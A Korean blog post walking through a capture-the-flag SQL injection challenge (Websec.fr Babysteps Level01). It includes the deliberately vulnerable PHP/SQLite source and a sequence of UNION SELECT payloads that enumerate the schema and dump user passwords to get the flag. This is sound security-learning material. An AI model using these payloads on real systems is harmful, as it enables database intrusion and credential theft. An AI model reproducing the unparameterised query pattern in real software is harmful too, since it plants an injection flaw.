Information Security ˗ˋˏ ♡ ˎˊ˗

Security/WebHacking

[Websec.fr] Babysteps Level01

토오쓰 2019. 11. 12. 00:13

문제

Select the user by ID you wish to view

This application is used to view the username by the given user ID, it will return the corresponding username from the database.

Enter the user ID: 

 

 

 

<?php
session_start ();

ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

include 'anti_csrf.php';

init_token ();

class LevelOne {
    public function doQuery($injection) {
        $pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
        
        $query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
        $getUsers = $pdo->query($query);
        $users = $getUsers->fetchArray(SQLITE3_ASSOC);

        if ($users) {
            return $users;
        }

        return false;
    }
}

if (isset ($_POST['submit']) && isset ($_POST['user_id'])) {
    check_and_refresh_token();

    $lo = new LevelOne ();
    $userDetails = $lo->doQuery ($_POST['user_id']);
}
?>

 

 

 

풀이

flag 값을 찾으면 되는 문제이다.

1, 2, 3까지 넣었을 때 id와 username을 출력한다.

1-> levelone

2-> jvoisin

3-> ExampleUser

 

order by 3부터는 error -> 컬럼 수는 총 2개인 것 같다.

 

이 데이터베이스의 테이블이나 칼럼 정보를 어떻게 알아내야 하는지부터 생각해야겠다.

 

php 코드에 있는 SQLITE에 대해서 먼저 찾아보았다.

SQLite는 MySQL나 PostgreSQL와 같은 데이터베이스 관리 시스템이지만, 서버가 아니라 응용 프로그램에 넣어 사용하는 비교적 가벼운 데이터베이스이다. api는 단순히 라이브러리를 호출하는 것만 있고, 데이터를 저장하는데 하나의 파일만을 사용하는 것이 특징(주로 모바일 DB로 자주 쓰인다.)

 

처음에는

' union select 2-- 를 입력했을 때,

 

 

' 말고 1을 넣어서 다시 실행해보았다.

1 union select 1,2--

 

참고[블로그]에서 처럼

1 union select 1,sqlite_version()-- 를 입력했을 때, 버전 정보가 나온다.

데이터베이스 오브젝트 이름 출력하는 것은

1 union select 1, name from sqlite_master--

근데 그냥 1을 했을 때와 같은 값이 나온다.

 

 

혹시나 앞에 숫자를 바꿔서 0,2,3,4,5 넣어봤을 때 다른 값이 나오는 것을 볼 수 있었다.

2 union select 1, name from sqlite_master--

 

생성될 때의 쿼리문의 내용을 통해 칼럼 이름, 자료형을 확인하고 싶을 때는

2 union select 1, sql from sqlite_master--

 

지금까지 id와 username값만 보았는데 password값을 한번 살펴보기로 했다.

2 union select 1, password from users--

제대로 출력되지 않은 것 같은데 username에 다른 값이 나왔기 때문에 flag 값에 대입해보았지만 오답이었다.

정확한 패스워드 값이 나오지 않아서 id값을 지정해서 패스워드 값을 출력하기로 했다.

 

  2 union select 1, password from users where id=1--

먼저 첫 번째 id가 1일 때, 패스워드를 출력하게끔 입력했을 때 처음 보는 값이 나왔다.

이 값도 역시 flag인가 싶어서 넣었을 때,

성공했다는 것을 볼 수 있었다.

 

다른 id값도 넣어보았다.

 

2 union select 1, password from users where id=2--

2 union select 1, password from users where id=3--

 

 

이 문제에서 flag값은 id=1인 사용자의 password값이었던 것 같다.

 

  2 union select 1, password from users where id=1--

 

 

참고

https://studysecurity-world.tistory.com/75

 

SQL Injection (SQLite)

- SQL Injection (SQLite) sqlite란? mysql이나 postgreSQL와 같은 dbms지만 서버가아니라 응용프로그램에 넣어 사용하는 비교적 가벼운데이터베이스 api는 단순히 라이브러리를 호출하는 것만 있고,데이터를 저장..

studysecurity-world.tistory.com

https://shaeod.tistory.com/287

 

[Oracle SQL] ORDER BY절 - DESC, ASC

※요약 SELECT문으로 검색된 데이터를 오름차순(ASC)이나 내림차순(DESC)으로 정렬 시킬 때 사용한다. Default값은 Ascending(오름차순)으로써 ASC는 생략해도 되며, 문자는 알파벳 순서로 출력된다. ORDER BY절에..

shaeod.tistory.com

 

'Security > WebHacking' 카테고리의 다른 글

[HackCTF Web] 보물  (422) 2019.11.28
[HackCTF Web] Button  (431) 2019.11.20
[HackCTF Web] Hidden  (272) 2019.11.19
[HackCTF Web] /  (295) 2019.11.19
OWASP Top10 에 대한 공격기법과 방어기법  (288) 2019.11.10